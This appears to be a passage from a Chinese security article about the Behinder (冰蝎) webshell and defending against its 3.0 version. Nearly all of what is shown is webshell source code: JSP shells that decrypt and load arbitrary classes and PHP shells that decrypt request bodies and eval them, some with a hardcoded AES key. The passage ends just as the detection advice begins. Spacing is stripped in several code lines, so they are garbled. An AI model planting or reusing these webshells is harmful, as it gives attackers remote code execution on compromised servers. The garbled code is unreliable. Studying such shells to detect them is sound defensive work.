冰蝎的前世今生：3.0新版本下的一些防护思考

<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
  classU extendsClassLoader{
      U(ClassLoaderc) {
          super(c);
      }

      publicClassg(byte[]b) {
          returnsuper.defineClass(b,0,b.length);
      }
  }
%><%
  if(request.getParameter("pass")!= null){
      Stringk = (""+ UUID.randomUUID()).replace("-","").substring(16);
      session.putValue("u",k);
      out.print(k);
      return;
  }
  Cipherc = Cipher.getInstance("AES");
  c.init(2,newSecretKeySpec((session.getValue("u")+ "").getBytes(),"AES"));
  newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
%>

AAAAA
<%@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
  classU extendsClassLoader{
      U(ClassLoaderc) {
          super(c);
      }

      publicClassg(byte[]b) {
          returnsuper.defineClass(b,0,b.length);
      }
  }
%><%
  if(request.getMethod().equals("POST")){
      Stringk = "e45e329feb5d925b";
      session.putValue("u",k);
      Cipherc = Cipher.getInstance("AES");
      c.init(2,newSecretKeySpec(k.getBytes(),"AES"));
      newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  }
%>bbbb

<?php
@error_reporting(0);
session_start();
if(isset($_GET['pass']))
{
  $key=substr(md5(uniqid(rand())),16);
  $_SESSION['k']=$key;
  print$key;
}
else
{
 $key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++){
  $post[$i]= $post[$i]^$key[$i+1&15];
  }
}
else
{
$post=openssl_decrypt($post,"AES128",$key);
}
  $arr=explode('|',$post);
  $func=$arr[0];
  $params=$arr[1];
classC{publicfunction__construct($p){eval($p."");}}
@newC($params);
}
?>

<?php
@error_reporting(0);
session_start();

if($_SERVER['REQUEST_METHOD']=== 'POST')
{
 $key="e45e329feb5d925b";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++){
  $post[$i]= $post[$i]^$key[$i+1&15];
  }
}
else
{
$post=openssl_decrypt($post,"AES128",$key);
}
  $arr=explode('|',$post);
  $func=$arr[0];
  $params=$arr[1];
classC{publicfunction__invoke($p){eval($p."");}}
  @call_user_func(newC(),$params);
}
?>

if(headerName.equalsIgnoreCase("Set-Cookie")){
       for(StringcookieValue : headers.get(headerName)){
        cookieValue =cookieValue.replaceAll(";[\s]*path=[\s\S]*;?","");
         cookieValues = cookieValues + ";"+ cookieValue;
       }
     cookieValues = cookieValues.startsWith(";")? cookieValues.replaceFirst(";",""): cookieValues;
      break;
   }

总结一下，对于检测者来说，做好这几点比较重要：